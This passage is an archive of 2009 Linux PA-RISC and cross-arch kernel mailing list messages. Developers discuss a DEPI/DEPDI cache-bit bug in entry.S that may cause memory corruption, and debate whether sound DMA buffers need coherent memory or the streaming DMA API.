	by vger.kernel.org with ESMTP id S1750981AbZGJQS0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 10 Jul 2009 12:18:26 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 36A7F8EE123;
	Fri, 10 Jul 2009 09:18:26 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 1XG77DI18LyL; Fri, 10 Jul 2009 09:18:26 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 717A68EE104;
	Fri, 10 Jul 2009 09:18:25 -0700 (PDT)
In-Reply-To: <20090710155559.CFAA44FC4@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1911
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1911>

On Fri, 2009-07-10 at 11:55 -0400, John David Anglin wrote:
> > But I'm still wondering what the effect of this bug will be.
> > The first order (not setting U-bit) should only affect ZX1 (pa8800/pa8900)
> > machines. Those have uncacheable IO space between 2GB-4GB physical address.
> > My guess is the machines should HPMC since the CPU would attempt to access
> > those ranges as a cacheline read/write instead of sub-cacheline transactions.
> 
> I think the depdi change may fix the random memory corruption that
> I have been complaining about.  My rp3440 has got through a full build
> of GCC with 2.6.30.1.  Previous two attempts failed with segmentation
> faults in the dynamic loader, one of which I reported on.  It will
> take a few more builds to be sure.  Your comment would explain why I
> don't see this on c3750.  Could this affect PA8700?

In theory it would affect every box running a 64 bit kernel.  We
actually set PAGE_NO_CACHE on ioremaps(), so it's spreading out from the
PCI device space.

> I installed the change on my rp3440, c3750 and gsyprf11 last night.
> At some point, I need to test the change with an SMP build on the rp3440.

rp3440 is a pa88/8900 system?  We have ion in the test ring at
cupertino, it's a 4 CPU pa8900 ... I've been keeping it up to date with
debian testing.

> There is one other issue that I see on the rp3440 which I don't see
> on the c3750 or gsyprf11.  I get occassional testsuite timeouts during
> compilation on compilations that shouldn't timeout.  I had always
> thought this to be a tcl/expect issue, but now I think this is likely
> a kernel issue.  I need to change the timeout value in the testsuite
> to something big so I can see what's happening.

It sounds a bit like another caching issue ... perhaps a cached value
for a spinlock or futex making the thread thing the lock is held against
it when it isn't?

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Artem Alimarine <artem.alimarine@stromasys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Wierd code in Entry.S
Date: Fri, 10 Jul 2009 18:25:22 +0200
Organization: Stromasys SA
Lines: 47
Approved: news@gmane.org
Message-ID: <4A576B72.6030302@stromasys.com>
References: <20090710001506.A2C43507E@hiauly1.hia.nrc.ca> <1247241171.3936.18.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------070700030005030602040806"
X-Trace: ger.gmane.org 1247243620 11027 80.91.229.12 (10 Jul 2009 16:33:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 Jul 2009 16:33:40 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 10 18:33:33 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MPJ1a-0004Ey-Uk
	for glpp-linux-parisc@gmane.org; Fri, 10 Jul 2009 18:32:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752052AbZGJQci (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 10 Jul 2009 12:32:38 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752745AbZGJQci
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 10 Jul 2009 12:32:38 -0400
Original-Received: from mail-ew0-f226.google.com ([209.85.219.226]:54048 "EHLO
	mail-ew0-f226.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752052AbZGJQch (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 10 Jul 2009 12:32:37 -0400
Original-Received: by ewy26 with SMTP id 26so1212309ewy.37
        for <linux-parisc@vger.kernel.org>; Fri, 10 Jul 2009 09:32:36 -0700 (PDT)
Original-Received: by 10.210.58.17 with SMTP id g17mr2630696eba.40.1247243130125;
        Fri, 10 Jul 2009 09:25:30 -0700 (PDT)
Original-Received: from ?192.168.1.24? (ip226-43-209-87.adsl2.static.versatel.nl [87.209.43.226])
        by mx.google.com with ESMTPS id 10sm1744344eyd.8.2009.07.10.09.25.28
        (version=SSLv3 cipher=RC4-MD5);
        Fri, 10 Jul 2009 09:25:29 -0700 (PDT)
User-Agent: Thunderbird 2.0.0.22 (Windows/20090605)
In-Reply-To: <1247241171.3936.18.camel@mulgrave.site>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1912
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1912>

This is a multi-part message in MIME format.
--------------070700030005030602040806
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

Hi,
> Yes, looks like we've got a set of cockups in this file.  Apparently gas
> is evaluating depi as the macro DEPI, which seems to be correct for
> every other case in the file I've looked at except this one
What I saw is that in the end DEPDI opcode with bit 44 is generated for 
than instruction.

The macro make_insert_tlb is used with PA2.0 and thus with IDTLBT and 
make_insert_tlb_11 with PA1.1 and thus with IDTLBP. It would probably be 
enough to change DEPI into DEPDI in the 2.0 variant. I do not know 
whether there are more similar cases.

Best regards,
Artem

--------------070700030005030602040806
Content-Type: text/x-vcard; charset=utf-8;
 name="artem_alimarine.vcf"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="artem_alimarine.vcf"

begin:vcard
fn:dr. Artem Alimarine
n:Alimarine;Artem
org:STROMASYS SA
adr:;;De Zaale 11;Eindhoven;;5612AJ;The Netherlands
email;internet:artem.alimarine@stromasys.com
title:Software Architect
tel;work:+31-40-2390863
tel;fax:+31-40-2390800
x-mozilla-html:FALSE
version:2.1
end:vcard


--------------070700030005030602040806--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King <rmk@arm.linux.org.uk>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: Re: [PATCH 3/8] parisc: implement dma_mmap_coherent()
Date: Fri, 10 Jul 2009 19:16:20 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20090710181620.GA1019@flint.arm.linux.org.uk>
References: <s5hprc8n0od.wl%tiwai@suse.de> <s5hljmwn0iw.wl%tiwai@suse.de> <1247238689.3936.16.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1247249809 29984 80.91.229.12 (10 Jul 2009 18:16:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 Jul 2009 18:16:49 +0000 (UTC)
Cc: Takashi Iwai <tiwai@suse.de>, linux-arch@vger.kernel.org,
	Gerhard Pircher <gerhard_pircher@gmx.net>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-arch-owner@vger.kernel.org Fri Jul 10 20:16:41 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MPKeF-0005X4-Hc
	for glka-linux-arch@gmane.org; Fri, 10 Jul 2009 20:16:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751718AbZGJSQi (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Fri, 10 Jul 2009 14:16:38 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752796AbZGJSQi
	(ORCPT <rfc822;linux-arch-outgoing>);
	Fri, 10 Jul 2009 14:16:38 -0400
Original-Received: from caramon.arm.linux.org.uk ([78.32.30.218]:59765 "EHLO
	caramon.arm.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751718AbZGJSQh (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Fri, 10 Jul 2009 14:16:37 -0400
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
	d=arm.linux.org.uk; s=caramon; h=Date:From:To:Cc:Subject:
	Message-ID:References:MIME-Version:Content-Type:In-Reply-To:
	Sender; bh=2t8bhAu4VaNCjmZuiUooM3gfLXI9NPDDTqirwCmH+UA=; b=L0r/T
	FhLLdRbhXsHT8yyyeiBqYA/YL9PVQa0K8bsCPrdaSvGvHOz2tSFKVeGxBIJ8xF9n
	95qrbc5qQVNR7r9zEkYZ7pvLP8P1MrlswUlMDhX0CMb3olGrzUqWtmFUEZeK2i2u
	0wLYOr7VD/Bf/ajog3QrkJeuzjAN9XjsmmiGdw=
Original-Received: from flint.arm.linux.org.uk ([2002:4e20:1eda:1:201:2ff:fe14:8fad])
	by caramon.arm.linux.org.uk with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.69)
	(envelope-from <rmk@arm.linux.org.uk>)
	id 1MPKdz-0006ji-R8; Fri, 10 Jul 2009 19:16:24 +0100
Original-Received: from rmk by flint.arm.linux.org.uk with local (Exim 4.69)
	(envelope-from <rmk@flint.arm.linux.org.uk>)
	id 1MPKdx-0000qO-EU; Fri, 10 Jul 2009 19:16:21 +0100
Mail-Followup-To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Takashi Iwai <tiwai@suse.de>, linux-arch@vger.kernel.org,
	Gerhard Pircher <gerhard_pircher@gmx.net>,
	Parisc List <linux-parisc@vger.kernel.org>
Content-Disposition: inline
In-Reply-To: <1247238689.3936.16.camel@mulgrave.site>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4058 gmane.linux.ports.parisc:1913
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1913>

On Fri, Jul 10, 2009 at 03:11:29PM +0000, James Bottomley wrote:
> The design of coherent memory was for memory based device mailboxes
> managed by the kernel ... trying to give userspace coherent access to
> the same mailbox is problematic because it gives a direct way for the
> process to interfere with a device function ... shouldn't whatever
> you're trying to do be better accomplished by using an API to control
> the device and keeping the coherent mailbox fully in the kernel address
> space?

As far as sound DMA goes, it's not about mailboxes.  It's about a circular
buffer which you want the device to DMA from direct to/from the DAC/ADC
and have the application write/read data directly to/from that same
buffer.

Without this, you end up having to copy the sound data - at something
around 200KB/s from applications into a driver managed buffer, which is
quite an unnecessary overhead for the CPU.

-- 
Russell King
 Linux kernel    2.6 ARM Linux   - http://www.arm.linux.org.uk/
 maintainer of:

From - Thu Nov 08 21:04:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: Re: [PATCH 3/8] parisc: implement dma_mmap_coherent()
Date: Fri, 10 Jul 2009 18:30:50 +0000
Lines: 29
Approved: news@gmane.org
Message-ID: <1247250650.3936.48.camel@mulgrave.site>
References: <s5hprc8n0od.wl%tiwai@suse.de> <s5hljmwn0iw.wl%tiwai@suse.de>
	 <1247238689.3936.16.camel@mulgrave.site>
	 <20090710181620.GA1019@flint.arm.linux.org.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1247250672 32564 80.91.229.12 (10 Jul 2009 18:31:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 Jul 2009 18:31:12 +0000 (UTC)
Cc: Takashi Iwai <tiwai@suse.de>, linux-arch@vger.kernel.org,
	Gerhard Pircher <gerhard_pircher@gmx.net>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Russell King <rmk@arm.linux.org.uk>
Original-X-From: linux-arch-owner@vger.kernel.org Fri Jul 10 20:31:04 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MPKs8-0002Bh-Tg
	for glka-linux-arch@gmane.org; Fri, 10 Jul 2009 20:31:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755658AbZGJSa7 (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Fri, 10 Jul 2009 14:30:59 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755714AbZGJSa7
	(ORCPT <rfc822;linux-arch-outgoing>);
	Fri, 10 Jul 2009 14:30:59 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:37823 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754823AbZGJSa5 (ORCPT
	<rfc822;linux-arch@vger.kernel.org>);
	Fri, 10 Jul 2009 14:30:57 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 9D36B8EE123;
	Fri, 10 Jul 2009 11:30:56 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id UDK+F3IpGz+D; Fri, 10 Jul 2009 11:30:56 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id BD88D8EE104;
	Fri, 10 Jul 2009 11:30:54 -0700 (PDT)
In-Reply-To: <20090710181620.GA1019@flint.arm.linux.org.uk>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4059 gmane.linux.ports.parisc:1914
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1914>

On Fri, 2009-07-10 at 19:16 +0100, Russell King wrote:
> On Fri, Jul 10, 2009 at 03:11:29PM +0000, James Bottomley wrote:
> > The design of coherent memory was for memory based device mailboxes
> > managed by the kernel ... trying to give userspace coherent access to
> > the same mailbox is problematic because it gives a direct way for the
> > process to interfere with a device function ... shouldn't whatever
> > you're trying to do be better accomplished by using an API to control
> > the device and keeping the coherent mailbox fully in the kernel address
> > space?
> 
> As far as sound DMA goes, it's not about mailboxes.  It's about a circular
> buffer which you want the device to DMA from direct to/from the DAC/ADC
> and have the application write/read data directly to/from that same
> buffer.

But that makes it sound like ordinary streaming DMA from a device to
user space ... that's what the dma_map_xx APIs are already designed to
handle:  I don't understand why you need coherent memory for this (which
can be a scarce resource on some platforms).

> Without this, you end up having to copy the sound data - at something
> around 200KB/s from applications into a driver managed buffer, which is
> quite an unnecessary overhead for the CPU.

Why?  The dma_map_xx API is designed to be zero copy.

James



From - Thu Nov 08 21:04:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King <rmk@arm.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 3/8] parisc: implement dma_mmap_coherent()
Date: Fri, 10 Jul 2009 19:39:26 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <20090710183925.GB1019@flint.arm.linux.org.uk>
References: <s5hprc8n0od.wl%tiwai@suse.de> <s5hljmwn0iw.wl%tiwai@suse.de> <1247238689.3936.16.camel@mulgrave.site> <20090710181620.GA1019@flint.arm.linux.org.uk> <1247250650.3936.48.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1247251195 1618 80.91.229.12 (10 Jul 2009 18:39:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 Jul 2009 18:39:55 +0000 (UTC)
Cc: Takashi Iwai <tiwai@suse.de>, linux-arch@vger.kernel.org,
	Gerhard Pircher <gerhard_pircher@gmx.net>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 10 20:39:47 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MPL0c-0005bg-3g
	for glpp-linux-parisc@gmane.org; Fri, 10 Jul 2009 20:39:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751033AbZGJSjo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 10 Jul 2009 14:39:44 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751323AbZGJSjo
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 10 Jul 2009 14:39:44 -0400
Original-Received: from caramon.arm.linux.org.uk ([78.32.30.218]:40833 "EHLO
	caramon.arm.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751033AbZGJSjo (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 10 Jul 2009 14:39:44 -0400
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
	d=arm.linux.org.uk; s=caramon; h=Date:From:To:Cc:Subject:
	Message-ID:References:MIME-Version:Content-Type:In-Reply-To:
	Sender; bh=OXEIsG3qbTAycBLvkYW3IaXxrO4jJnrZq9cEceEDCKM=; b=JYhu7
	38i/LXXPIQre0NG1adbPT3NM4lb24EaqHrcl/LbD6DhxWPrMfinVw+9eU4J/HdoN
	S5FbclrAulBGl7zu4AX8L7ijE8jzCFQiXvf5F1MGlvdsdUQaB+1AZO1pMTnARDZY
	TOxObxm3mdnbq0BIY/m1RUxqarNUr9zXocDtM4=
Original-Received: from flint.arm.linux.org.uk ([2002:4e20:1eda:1:201:2ff:fe14:8fad])
	by caramon.arm.linux.org.uk with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.69)
	(envelope-from <rmk@arm.linux.org.uk>)
	id 1MPL0L-0006lM-7X; Fri, 10 Jul 2009 19:39:29 +0100
Original-Received: from rmk by flint.arm.linux.org.uk with local (Exim 4.69)
	(envelope-from <rmk@flint.arm.linux.org.uk>)
	id 1MPL0I-0001iy-RI; Fri, 10 Jul 2009 19:39:26 +0100
Mail-Followup-To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Takashi Iwai <tiwai@suse.de>, linux-arch@vger.kernel.org,
	Gerhard Pircher <gerhard_pircher@gmx.net>,
	Parisc List <linux-parisc@vger.kernel.org>
Content-Disposition: inline
In-Reply-To: <1247250650.3936.48.camel@mulgrave.site>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1915 gmane.linux.kernel.cross-arch:4060
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1915>

On Fri, Jul 10, 2009 at 06:30:50PM +0000, James Bottomley wrote:
> On Fri, 2009-07-10 at 19:16 +0100, Russell King wrote:
> > As far as sound DMA goes, it's not about mailboxes.  It's about a circular
> > buffer which you want the device to DMA from direct to/from the DAC/ADC
> > and have the application write/read data directly to/from that same
> > buffer.
> 
> But that makes it sound like ordinary streaming DMA from a device to
> user space ... that's what the dma_map_xx APIs are already designed to
> handle:  I don't understand why you need coherent memory for this (which
> can be a scarce resource on some platforms).

The streaming APIs are inefficient for this.  Consider the overhead of
having to writeback and invalidate caches at 200KB/s (which is what
you're requiring ARM to do).  That's far too much CPU overhead.

It's much more efficient to use non-cached memory for this on ARM.

We've been doing this for years and years, it's well proven.

> Why?  The dma_map_xx API is designed to be zero copy.

Except with a rather large overhead of repetitive cache handling.

-- 
Russell King
 Linux kernel    2.6 ARM Linux   - http://www.arm.linux.org.uk/
 maintainer of:
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Wierd code in Entry.S
Date: Fri, 10 Jul 2009 14:48:24 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <20090710184826.605654F19@hiauly1.hia.nrc.ca>
References: <1247242701.3936.28.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1247251734 3233 80.91.229.12 (10 Jul 2009 18:48:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 Jul 2009 18:48:54 +0000 (UTC)
Cc: grundler@parisc-linux.org, artem.alimarine@stromasys.com,
	linux-parisc@vger.kernel.org
To: James.Bottomley@HansenPartnership.com (James Bottomley)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 10 20:48:46 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MPL9J-0000cQ-Dw
	for glpp-linux-parisc@gmane.org; Fri, 10 Jul 2009 20:48:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751008AbZGJSso (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 10 Jul 2009 14:48:44 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752954AbZGJSso
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 10 Jul 2009 14:48:44 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4472 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751008AbZGJSsn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 10 Jul 2009 14:48:43 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 605654F19; Fri, 10 Jul 2009 14:48:25 -0400 (EDT)
In-Reply-To: <1247242701.3936.28.camel@mulgrave.site> from "James Bottomley" at Jul 10, 2009 11:18:21 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1916
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1916>

> > I installed the change on my rp3440, c3750 and gsyprf11 last night.
> > At some point, I need to test the change with an SMP build on the rp3440.
> 
> rp3440 is a pa88/8900 system?

Yes, it's a four cpu pa8800.  It was ior.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 3/8] parisc: implement dma_mmap_coherent()
Date: Fri, 10 Jul 2009 18:59:23 +0000
Lines: 41
Approved: news@gmane.org
Message-ID: <1247252363.3936.52.camel@mulgrave.site>
References: <s5hprc8n0od.wl%tiwai@suse.de> <s5hljmwn0iw.wl%tiwai@suse.de>
	 <1247238689.3936.16.camel@mulgrave.site>
	 <20090710181620.GA1019@flint.arm.linux.org.uk>
	 <1247250650.3936.48.camel@mulgrave.site>
	 <20090710183925.GB1019@flint.arm.linux.org.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1247252377 5154 80.91.229.12 (10 Jul 2009 18:59:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 Jul 2009 18:59:37 +0000 (UTC)
Cc: Takashi Iwai <tiwai@suse.de>, linux-arch@vger.kernel.org,
	Gerhard Pircher <gerhard_pircher@gmx.net>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Russell King <rmk@arm.linux.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 10 20:59:29 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MPLJh-0004W8-0h
	for glpp-linux-parisc@gmane.org; Fri, 10 Jul 2009 20:59:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754811AbZGJS72 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 10 Jul 2009 14:59:28 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754220AbZGJS72
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 10 Jul 2009 14:59:28 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:42609 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751343AbZGJS71 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 10 Jul 2009 14:59:27 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id EC52A8EE123;
	Fri, 10 Jul 2009 11:59:26 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id aNVaVbKUlOey; Fri, 10 Jul 2009 11:59:26 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 4A11F8EE104;
	Fri, 10 Jul 2009 11:59:26 -0700 (PDT)
In-Reply-To: <20090710183925.GB1019@flint.arm.linux.org.uk>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1917 gmane.linux.kernel.cross-arch:4061
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1917>

On Fri, 2009-07-10 at 19:39 +0100, Russell King wrote:
> On Fri, Jul 10, 2009 at 06:30:50PM +0000, James Bottomley wrote:
> > On Fri, 2009-07-10 at 19:16 +0100, Russell King wrote:
> > > As far as sound DMA goes, it's not about mailboxes.  It's about a circular
> > > buffer which you want the device to DMA from direct to/from the DAC/ADC
> > > and have the application write/read data directly to/from that same
> > > buffer.
> > 
